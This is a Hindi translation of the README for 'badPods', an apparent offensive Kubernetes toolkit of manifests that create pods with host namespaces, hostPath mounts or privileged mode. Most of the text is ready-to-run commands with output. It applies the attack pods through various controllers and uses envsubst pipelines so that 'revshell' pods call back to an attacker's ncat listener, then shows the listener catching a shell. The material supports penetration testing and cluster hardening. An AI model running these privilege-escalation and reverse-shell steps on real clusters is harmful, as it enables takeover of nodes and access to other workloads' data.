
ऐसे मैनिफेस्ट्स का संग्रह जो उन्नत विशेषाधिकारों वाले पॉड्स बनाएंगे।

विभिन्न उन्नत विशेषाधिकारों वाले पॉड्स बनाने वाले मैनिफेस्ट का एक संग्रह। hostNetwork, hostPID, hostPath, hostIPC, और privileged जैसी सुरक्षा-संवेदनशील पॉड विशेषताओं को अनुमति देने के प्रभाव को तुरंत प्रदर्शित करता है।
अतिरिक्त पृष्ठभूमि के लिए, हमारा ब्लॉग पोस्ट देखें: Bad Pods: Kubernetes Pod Privilege Escalation.
नीचे दिया गया प्रत्येक लिंक विस्तृत उपयोग जानकारी और पोस्ट-एक्सप्लॉइटेशन अनुशंसाएँ प्रदान करता है।
पूर्वापेक्षाओं, रिपॉजिटरी संगठन और सामान्य उपयोग पैटर्न के बारे में अधिक सामान्य जानकारी के लिए, नीचे दिए गए अनुभाग देखें।
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
जैसा कि Eviatar Gerzi (@g3rzi) पोस्ट Eight Ways to Create a Pod में बताते हैं, ऐसे 8 अलग-अलग कंट्रोलर हैं जो एक पॉड या पॉड्स का एक सेट बना सकते हैं। हो सकता है कि आपको पॉड बनाने का अधिकार न हो, लेकिन शायद आप कोई दूसरा संसाधन प्रकार बना सकते हैं जो एक या अधिक पॉड बनाएगा। प्रत्येक badPod प्रकार के लिए, ऐसे मैनिफेस्ट हैं जो सभी आठ संसाधन प्रकारों के अनुरूप हैं।
लेकिन रुकिए, यह और बदतर हो जाता है! पॉड बना सकने वाले आठ मौजूदा Kubernetes कंट्रोलरों के अलावा, थर्ड-पार्टी कंट्रोलर भी हैं जो क्लस्टर पर लागू किए जाने पर पॉड बना सकते हैं। kubectl api-resources देखकर उन पर नज़र रखें।
हालाँकि यह सामान्य है, लेकिन हमेशा ऐसा नहीं होता कि आप उन पॉड्स में exec कर सकते हैं जिन्हें आप बना सकते हैं। ऐसी स्थितियों में मदद के लिए, प्रत्येक मैनिफेस्ट का एक संस्करण शामिल किया गया है जो Rory McCune's (@raesene) ncat dockerhub इमेज का उपयोग करता है। बनाए जाने पर, पॉड आपके listener पर एक एन्क्रिप्टेड कॉलबैक करेगा।
manifests निर्देशिका में प्रत्येक संसाधन एक विशिष्ट विशेषता या विशेषताओं के संयोजन को लक्षित करता है, जो अनुमति दिए जाने पर क्लस्टर को जोखिम में डालते हैं।
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
प्रत्येक पॉड में अपना host और port संपादित करने से बचने के लिए, आप environment variables और envsubst कमांड का उपयोग कर सकते हैं। अपने सभी listeners को पहले चालू करना याद रखें!
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
बनाया गया पॉड खोजें
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
पॉड में exec करें
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
बनाया गया पॉड खोजें
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
पॉड में exec करें
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
बनाए गए सभी पॉड्स देखें
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
सभी everything-allowed संसाधन हटाएँ
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
listener सेट करें
ncat --ssl -vlp 3116
env variables और envsubst का उपयोग करके स्थानीय yaml को संशोधित किए बिना पॉड बनाएँ
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
शेल पकड़ें
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
Pull requests और issues का स्वागत है।
Kubernetes offensive security के बारे में इतना सारा ज्ञान सार्वजनिक रूप से साझा करने के लिए Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi, और Madhu Akula को धन्यवाद।
प्रत्येक Bad Pod के अपने संदर्भ और आगे की पढ़ाई अनुभाग हैं, लेकिन यहाँ कुछ और सामान्य संसाधन दिए गए हैं जो आपके Kubernetes सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग कौशल को बढ़ाने में मदद करेंगे।